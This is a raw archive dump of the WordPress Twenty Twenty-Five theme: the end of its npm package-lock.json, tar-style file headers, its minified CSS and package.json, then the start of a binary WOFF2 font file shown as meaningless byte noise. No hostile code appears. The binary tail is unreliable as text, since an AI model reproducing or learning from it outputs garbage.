"https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-7.0.5.tgz", "integrity": "sha512-x2/IvofHcdIrAm9Q+p06ZD1h6FPcQ32WtCRVodJLDR+WMn8EVHI1kvLxZuGKz/9EY5nAmI6lIQIrpo4tBy5+ug==", "dev": true, "license": "MIT", "dependencies": { "cssesc": "^3.0.0", "postcss-selector-parser": "^7.1.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-charset": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-7.0.1.tgz", "integrity": "sha512-sn413ofhSQHlZFae//m9FTOfkmiZ+YQXsbosqOWRiVQncU2BA3daX3n0VF3cG6rGLSFVc5Di/yns0dFfh8NFgQ==", "dev": true, "license": "MIT", "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-display-values": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-7.0.1.tgz", "integrity": "sha512-E5nnB26XjSYz/mGITm6JgiDpAbVuAkzXwLzRZtts19jHDUBFxZ0BkXAehy0uimrOjYJbocby4FVswA/5noOxrQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-positions": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-7.0.1.tgz", "integrity": "sha512-pB/SzrIP2l50ZIYu+yQZyMNmnAcwyYb9R1fVWPRxm4zcUFCY2ign7rcntGFuMXDdd9L2pPNUgoODDk91PzRZuQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-repeat-style": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-7.0.1.tgz", "integrity": "sha512-NsSQJ8zj8TIDiF0ig44Byo3Jk9e4gNt9x2VIlJudnQQ5DhWAHJPF4Tr1ITwyHio2BUi/I6Iv0HRO7beHYOloYQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-string": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-7.0.1.tgz", "integrity": "sha512-QByrI7hAhsoze992kpbMlJSbZ8FuCEc1OT9EFbZ6HldXNpsdpZr+YXC5di3UEv0+jeZlHbZcoCADgb7a+lPmmQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-timing-functions": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-7.0.1.tgz", "integrity": "sha512-bHifyuuSNdKKsnNJ0s8fmfLMlvsQwYVxIoUBnowIVl2ZAdrkYQNGVB4RxjfpvkMjipqvbz0u7feBZybkl/6NJg==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-unicode": { "version": "7.0.5", "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-7.0.5.tgz", "integrity": "sha512-X6BBwiRxVaFHrb2WyBMddIeB5HBjJcAaUHyhLrM2FsxSq5TFqcHSsK7Zu1otag+o0ZphQGJewGH1tAyrD0zX1Q==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-url": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-7.0.1.tgz", "integrity": "sha512-sUcD2cWtyK1AOL/82Fwy1aIVm/wwj5SdZkgZ3QiUzSzQQofrbq15jWJ3BA7Z+yVRwamCjJgZJN0I9IS7c6tgeQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-normalize-whitespace": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-7.0.1.tgz", "integrity": "sha512-vsbgFHMFQrJBJKrUFJNZ2pgBeBkC2IvvoHjz1to0/0Xk7sII24T0qFOiJzG6Fu3zJoq/0yI4rKWi7WhApW+EFA==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-ordered-values": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-7.0.2.tgz", "integrity": "sha512-AMJjt1ECBffF7CEON/Y0rekRLS6KsePU6PRP08UqYW4UGFRnTXNrByUzYK1h8AC7UWTZdQ9O3Oq9kFIhm0SFEw==", "dev": true, "license": "MIT", "dependencies": { "cssnano-utils": "^5.0.1", "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-reduce-initial": { "version": "7.0.5", "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-7.0.5.tgz", "integrity": "sha512-RHagHLidG8hTZcnr4FpyMB2jtgd/OcyAazjMhoy5qmWJOx1uxKh4ntk0Pb46ajKM0rkf32lRH4C8c9qQiPR6IA==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "caniuse-api": "^3.0.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-reduce-transforms": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-7.0.1.tgz", "integrity": "sha512-MhyEbfrm+Mlp/36hvZ9mT9DaO7dbncU0CvWI8V93LRkY6IYlu38OPg3FObnuKTUxJ4qA8HpurdQOo5CyqqO76g==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-reporter": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.1.0.tgz", "integrity": "sha512-/eoEylGWyy6/DOiMP5lmFRdmDKThqgn7D6hP2dXKJI/0rJSO1ADFNngZfDzxL0YAxFvws+Rtpuji1YIHj4mySA==", "dev": true, "funding": [ { "type": "opencollective", "url": "https://opencollective.com/postcss/" }, { "type": "github", "url": "https://github.com/sponsors/ai" } ], "license": "MIT", "dependencies": { "picocolors": "^1.0.0", "thenby": "^1.3.4" }, "engines": { "node": ">=10" }, "peerDependencies": { "postcss": "^8.1.0" } }, "node_modules/postcss-selector-parser": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.0.tgz", "integrity": "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA==", "dev": true, "license": "MIT", "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" }, "engines": { "node": ">=4" } }, "node_modules/postcss-svgo": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-7.1.0.tgz", "integrity": "sha512-KnAlfmhtoLz6IuU3Sij2ycusNs4jPW+QoFE5kuuUOK8awR6tMxZQrs5Ey3BUz7nFCzT3eqyFgqkyrHiaU2xx3w==", "dev": true, "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0", "svgo": "^4.0.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >= 18" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-unique-selectors": { "version": "7.0.4", "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-7.0.4.tgz", "integrity": "sha512-pmlZjsmEAG7cHd7uK3ZiNSW6otSZ13RHuZ/4cDN/bVglS5EpF2r2oxY99SuOHa8m7AWoBCelTS3JPpzsIs8skQ==", "dev": true, "license": "MIT", "dependencies": { "postcss-selector-parser": "^7.1.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/postcss-value-parser": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", "dev": true, "license": "MIT" }, "node_modules/pretty-hrtime": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", "dev": true, "license": "MIT", "engines": { "node": ">= 0.8" } }, "node_modules/read-cache": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", "dev": true, "license": "MIT", "dependencies": { "pify": "^2.3.0" } }, "node_modules/readdirp": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", "dev": true, "license": "MIT", "dependencies": { "picomatch": "^2.2.1" }, "engines": { "node": ">=8.10.0" } }, "node_modules/require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" } }, "node_modules/sax": { "version": "1.4.3", "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.3.tgz", "integrity": "sha512-yqYn1JhPczigF94DMS+shiDMjDowYO6y9+wB/4WgO0Y19jWYk0lQ4tuG5KI7kj4FTp1wxPj5IFfcrz/s1c3jjQ==", "dev": true, "license": "BlueOak-1.0.0" }, "node_modules/slash": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", "dev": true, "license": "MIT", "engines": { "node": ">=14.16" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", "dev": true, "license": "BSD-3-Clause", "engines": { "node": ">=0.10.0" } }, "node_modules/string-width": { "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "dev": true, "license": "MIT", "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" }, "engines": { "node": ">=8" } }, "node_modules/strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dev": true, "license": "MIT", "dependencies": { "ansi-regex": "^5.0.1" }, "engines": { "node": ">=8" } }, "node_modules/stylehacks": { "version": "7.0.7", "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-7.0.7.tgz", "integrity": "sha512-bJkD0JkEtbRrMFtwgpJyBbFIwfDDONQ1Ov3sDLZQP8HuJ73kBOyx66H4bOcAbVWmnfLdvQ0AJwXxOMkpujcO6g==", "dev": true, "license": "MIT", "dependencies": { "browserslist": "^4.27.0", "postcss-selector-parser": "^7.1.0" }, "engines": { "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { "postcss": "^8.4.32" } }, "node_modules/svgo": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/svgo/-/svgo-4.0.0.tgz", "integrity": "sha512-VvrHQ+9uniE+Mvx3+C9IEe/lWasXCU0nXMY2kZeLrHNICuRiC8uMPyM14UEaMOFA5mhyQqEkB02VoQ16n3DLaw==", "dev": true, "license": "MIT", "dependencies": { "commander": "^11.1.0", "css-select": "^5.1.0", "css-tree": "^3.0.1", "css-what": "^6.1.0", "csso": "^5.0.5", "picocolors": "^1.1.1", "sax": "^1.4.1" }, "bin": { "svgo": "bin/svgo.js" }, "engines": { "node": ">=16" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/svgo" } }, "node_modules/thenby": { "version": "1.3.4", "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", "dev": true, "license": "Apache-2.0" }, "node_modules/tinyglobby": { "version": "0.2.15", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", "dev": true, "license": "MIT", "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" }, "engines": { "node": ">=12.0.0" }, "funding": { "url": "https://github.com/sponsors/SuperchupuDev" } }, "node_modules/tinyglobby/node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", "dev": true, "license": "MIT", "engines": { "node": ">=12.0.0" }, "peerDependencies": { "picomatch": "^3 || ^4" }, "peerDependenciesMeta": { "picomatch": { "optional": true } } }, "node_modules/tinyglobby/node_modules/picomatch": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", "peer": true, "engines": { "node": ">=12" }, "funding": { "url": "https://github.com/sponsors/jonschlinkert" } }, "node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", "dev": true, "license": "MIT", "dependencies": { "is-number": "^7.0.0" }, "engines": { "node": ">=8.0" } }, "node_modules/universalify": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", "dev": true, "license": "MIT", "engines": { "node": ">= 10.0.0" } }, "node_modules/update-browserslist-db": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.4.tgz", "integrity": "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A==", "dev": true, "funding": [ { "type": "opencollective", "url": "https://opencollective.com/browserslist" }, { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, { "type": "github", "url": "https://github.com/sponsors/ai" } ], "license": "MIT", "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "bin": { "update-browserslist-db": "cli.js" }, "peerDependencies": { "browserslist": ">= 4.21.0" } }, "node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", "dev": true, "license": "MIT" }, "node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "dev": true, "license": "MIT", "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, "node_modules/y18n": { "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", "dev": true, "license": "ISC", "engines": { "node": ">=10" } }, "node_modules/yaml": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.1.tgz", "integrity": "sha512-lcYcMxX2PO9XMGvAJkJ3OsNMw+/7FKes7/hgerGUYWIoWu5j/+YQqcZr5JnPZWzOsEBgMbSbiSTn/dv/69Mkpw==", "dev": true, "license": "ISC", "bin": { "yaml": "bin.mjs" }, "engines": { "node": ">= 14.6" } }, "node_modules/yargs": { "version": "17.7.2", "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", "dev": true, "license": "MIT", "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", "yargs-parser": "^21.1.1" }, "engines": { "node": ">=12" } }, "node_modules/yargs-parser": { "version": "21.1.1", "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", "dev": true, "license": "ISC", "engines": { "node": ">=12" } } } } themes/twentytwentyfive/templates/single.html000064400000002736152335264760015702 0ustar00
    themes/twentytwentyfive/templates/search.html000064400000001072152335264760015656 0ustar00
    themes/twentytwentyfive/templates/index.html000064400000000727152335264760015526 0ustar00
    themes/twentytwentyfive/templates/404.html000064400000001155152335264760014722 0ustar00
    themes/twentytwentyfive/templates/page.html000064400000001557152335264760015335 0ustar00
    themes/twentytwentyfive/templates/home.html000064400000000727152335264760015347 0ustar00
    themes/twentytwentyfive/templates/archive.html000064400000000736152335264760016040 0ustar00
    themes/twentytwentyfive/templates/page-no-title.html000064400000000533152335264760017057 0ustar00
    themes/twentytwentyfive/style.min.css000064400000001143152335264760014160 0ustar00a{text-decoration-thickness:1px!important;text-underline-offset:.1em}:where(.wp-site-blocks :focus){outline-width:2px;outline-style:solid}.wp-block-navigation .wp-block-navigation-submenu .wp-block-navigation-item:not(:last-child){margin-bottom:3px}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation-item__content{outline-offset:4px}.wp-block-navigation .wp-block-navigation-item ul.wp-block-navigation__submenu-container .wp-block-navigation-item__content{outline-offset:0}blockquote,caption,figcaption,h1,h2,h3,h4,h5,h6,p{text-wrap:pretty}.more-link{display:block}:where(pre){overflow-x:auto}themes/twentytwentyfive/package.json000064400000001410152335264760014007 0ustar00{ "name": "twentytwentyfive", "version": "1.5.0", "description": "Default WP Theme", "author": "The WordPress Contributors", "license": "GPL-2.0-or-later", "keywords": [ "WordPress", "Theme" ], "bugs": { "url": "https://core.trac.wordpress.org/" }, "homepage": "https://wordpress.org/themes/twentytwentyfive/", "engines": { "node": ">=20.10.0", "npm": ">=10.2.3" }, "devDependencies": { "@wordpress/browserslist-config": "^6.34.0", "postcss": "^8.5.6", "postcss-cli": "^11.0.1", "cssnano": "^7.1.2" }, "browserslist": [ "extends @wordpress/browserslist-config" ], "scripts": { "build": "postcss style.css --use cssnano -o style.min.css --no-map", "watch": "postcss style.css --use cssnano -o style.min.css --no-map --watch" } } themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2000064400000212730152335264760023641 0ustar00wOF2^!`0?HVAR{?MVAR<`?STAT'&6/T 0} 026$   [qr?mFtrཙjfnDs^#'nCO9gT͊%Id;$2(R|P1wSXҵJ 1G˲mF y^?mSnNMypQ%M?-iTL0u{J&65$*;\@=L1iˬ³XLVۭDbms^׊w,r 79+LPwwۙv#R!M+`fhU肋w8^L1)PSשr#))P"a4 ޏ*tS SajO/H;O|h+q(x=H/Ht1V?V9hE.CsN1"MF6B :}}vo9ϋ5rq jtv6IX+RFRO;{N:嶭$vl&A7o[}o`25 ߆u"{+]Zj(U&1b"|g|k* V쁯Q}u%9,,'A&#@<=LFjhN2eOPIx5 :L/R*b%I5i@<ؖMX =>Of Y#ߕ .TXkpm&e4Z@5 ߨ.*cCTkOc%N:53g*|XrmJNPwNߔ^4e\CE&a#I-ສSe W."V.U3Yw}۷55 a$,vIipw&jJ0l1Aa3QQO}1JzԤ"\BҤ,>"W"- fmL-TpʉY=L}m}^ߑp޵ja@,s8 %bKǺ6\Ap"D:~ӯo J\*PZN@!i6p ?F"D "E $ 6HJ3l4aeI&ʑ^8ЄF@ )HrliS|ܽyZ:qw m0q?#w@S"ȡ)G=Ƶ+P%5du&6NXumR~b<X[8j;̸Bs U*]:uiIN8MKhJYY?XE1_Pj$Y|W/31fP:Faߍz\G)  NqW͡[~[K>;?6i1cEk<)%wޟfRӀ~{~j_s[3u2݈D~'d3[z8uc_xوdHi$ߕN!9ֈZRQg]cl9$ڒ: W JG'#cP)X0w 0a|+ NڴZ DDS)B|*F&4LZ[jM[r)>RƇMV[ZCVdD 'ii譄q {nN0&>Aky9"a#2Qw \cvAJe]|\^&D (NP, $U㊪!0-O4yQV5ctֵiَ& H, JP=&JHr{>0 )a."L+`2@$7iPf}0 ㈓0 R>ϙF+ԣ+iw4 6b2 ~ېDF6.@%H9@^xꁀ€OtE0z C)L2NŎew@k&% б;ÉƔlPC PSM[rWXykG0^VL7k|T*_l0׺p]|LSuWPVp.|ABuZBhOӭ'-ՃGG>O9N~[{)*Ic(I3%wzBL]w*KEK:R$O?n'"lX$}8Qs~`ಃ|,k aSmr#"j71;*:Q˛$Va 5 HJ1ĠGX e: v03w RS͔TQ'UG,;\ u@ux t>+-s« @c|ݐV^\rOS18% d5.ϊ7!&=YI#xc ,7PdJqGdɻtҏTj춈[Ǭߓ`utIap\ "_x_8OH8Jڡtq۪~׃KYL9i"C3 hnS/?F(K?o,ANw'X*XGfڇ\u9lt+;[+cͪ>\Jy`0{d1f_g-GVrX3VQ'Y Z-?'lHsfIږRg" Qi1^{h7(cDߔ{ 9ۥ!u [ګ8X>u4t0};Lu(C9GrU(w{N}]@F'ܩkeHG)rc,{ٿJ~EYSnM 6P]jzDzxʙxY=l6HnoJ.'e;t4u7c% N-[-7ҏV3ybkqYh<ME(S#+ՓtGD⮧d_;'#mʕ>{R}~g< cl(bh̩>~}0Bpnn6:juA'sM{L2.Pr0+!{V.pGUByWԱрפ'f~'2Rw+[@%uc΂^ h,,_ƒs;lq :<[O#EDGVt=lWI"sV3|[q'4ZV,˧_nORhLGAyPDt h5qhlT7^3 (5Hh dK"dZkHDRSto;ԥ v)~"i 'q  5#;KC{o2n KH '#eVbZ]eUh9ܓzLy¡B7Kr i|/zQ Dgŕl'c3DCeV#;Ytk$e.NJG//zvV>0d&%0ObPpm L'c gs9c;om!t15 kkAvs7&7hKaϘ ĺ Fy~|NPDZ@ V/4'?EbX( ։#nl r@E0'l#`+`dIg$at6Ur GR G$NSZ%3xͣGT[2N=q͐wD/.oc+rﵭ^2]ϒ]I5ۮ7:2\K\ -.o'ś4۲ݚ`'u0q IeRf^9[\ [FO}ja]81T1?oF@obԆ\ Ďojv 1'&P2ӥW+uڋ`gJ.h i=rZdtR $o,F~h/6&@)8Sc ]jM+" ďG_&7v%8҉\ Jg{9l $$@8E}oZ$NvĹͳ8ږlNYљ4\5s#.]\4hZi|?L@{w0KHy⥏G+&c7U|w%9cTs8FxWV8H$EYVR[{f `@2gZd=m|g@g1u73?Vzm<^j/A%g%GpoʽLͱTP̻nNZ^DxgQ6&}Y]`V764,Ffl6Wk |:Zu5`ԤY}1g`X[-z[@PX hcL단³dXrl:lL<"eOg d0 B4!~"\NIrimQfmIȔ-/pJ]_`1|xY8fRȯ0gnҘ] bՔ/~3`nyOĪN1kErqR=ˀs[QMlxkpr1&eZYm4/0˂ W5ns^&4pF|~x'Yri(3JUEFdaQz%κee{_uݣf MYҒ\p bsxÝE>Z JujcZWչ|= `Z዁Y{r'EXMMu k^ʫUMS]%=#v{'Ar'"{%Xձ5~ܚj'Rn]|x5w+\kP~T|4,!;󓸩8%~ps&ŔDDnp{O0b挧N?2bO+욽s#Δ*Qa8쐜%oCn; wˌmkT""sL亝%ey}kE5.8Ji`P^yM+Ր0nvIqi\r}1o\+3UKW׏/0^s5QyQ|}?mx緲#6 kl[mv%~_{۬lʉ\HNߣ$1_R3a$eطỸY~6,':Vȫ mDbA{Z8OQ5hSSsPDEm/$Wzɫ5lzH Ǣ%S\~T!G W8&״>N]WLwA7L _=wL6'ԕrk.v-OTaMG&c Z 4X+ ޮȴ013Br VY Zy krr⻋ gM^<|(ǡ%@3Jj =Tw\躣n4tKxA}NBt R㬦u~Vu}$zb4dB7'97eh]laoahEIYHl/#g1Z/M+'J|VY+.* بWtL!8;k'ehIgg]WV{v5g6&#iNRV'T?֚a@S;.7VM>Ms ewQ^nGXiWSGQhۂޛ~X:Y{I(c`yIqB#oul+b M`Y+Mr'&G6inu/rd|ղ6Rѫ(VDhsxS*{0)b9)Zݛ@KˢU{.<3\ 9̙Dkqd ef@go#}C=)OΪHC >kB;sAp:[΀ 1-UE'_O`^c[i4BLr&GW)Qzkj;w^(m/f[Zz(2SLުV/+mE*ݫ{_65זu-1wW)Ws u.#ex左϶/XiXrs & k 0>a.{cCxg7:{j.m- h~k#]1gĈ/dBE :6rnd*4$8ʘԱ Hl0w!)[0S[% ]9U*QfN"NG C?mFDsKB\%z8g&YT(?HUAWqNܭPçYf~|P_/>bvlOC˟w4|M+{.6tZ8UV6kuXaoGQwDs%g:$G=-;@6ՅZKjZ36"  U6bN|%1 -ꂠoSM/2Oj3S3fcU98H Rkɱcn`^ho_)fJpH]wR~Ri[V4!3B8''~j)gQc9gW3ɥg}w,:fo p<( 7J y^$JiZ4_D4x%)$(H\diO+ U "8 ϔ2,\A"HKHtD FOї8 cɧ5hS8Q݆8H2tňEyzE %,'#9ARoe 8ޓbT8mlԗEp;"Nakn|e>< 3_81ߗq??$Z9YĩxxlI{6 ?!~) ߁l:iS]m)7QT yi$-Q8i!bec9 4ck \%(_ m 'Gnp-dZn !]& Zp D/ZG;e9Gx d4$PJ$Xsy2x@2y^ {U1r@ydHs! 7ݴp8=<8zYD8ÉI䥁>lz^~`䫎,5"9&GterCBzLES(n (bW1QrxIڊWSPm+6mBf|aEs o\{Jsģkӫ572)EM!8UV։e!>S@`u , -!Q" |Ea\R0#f䧳Ŷ(:bf>7gL 3nAs 32"0B 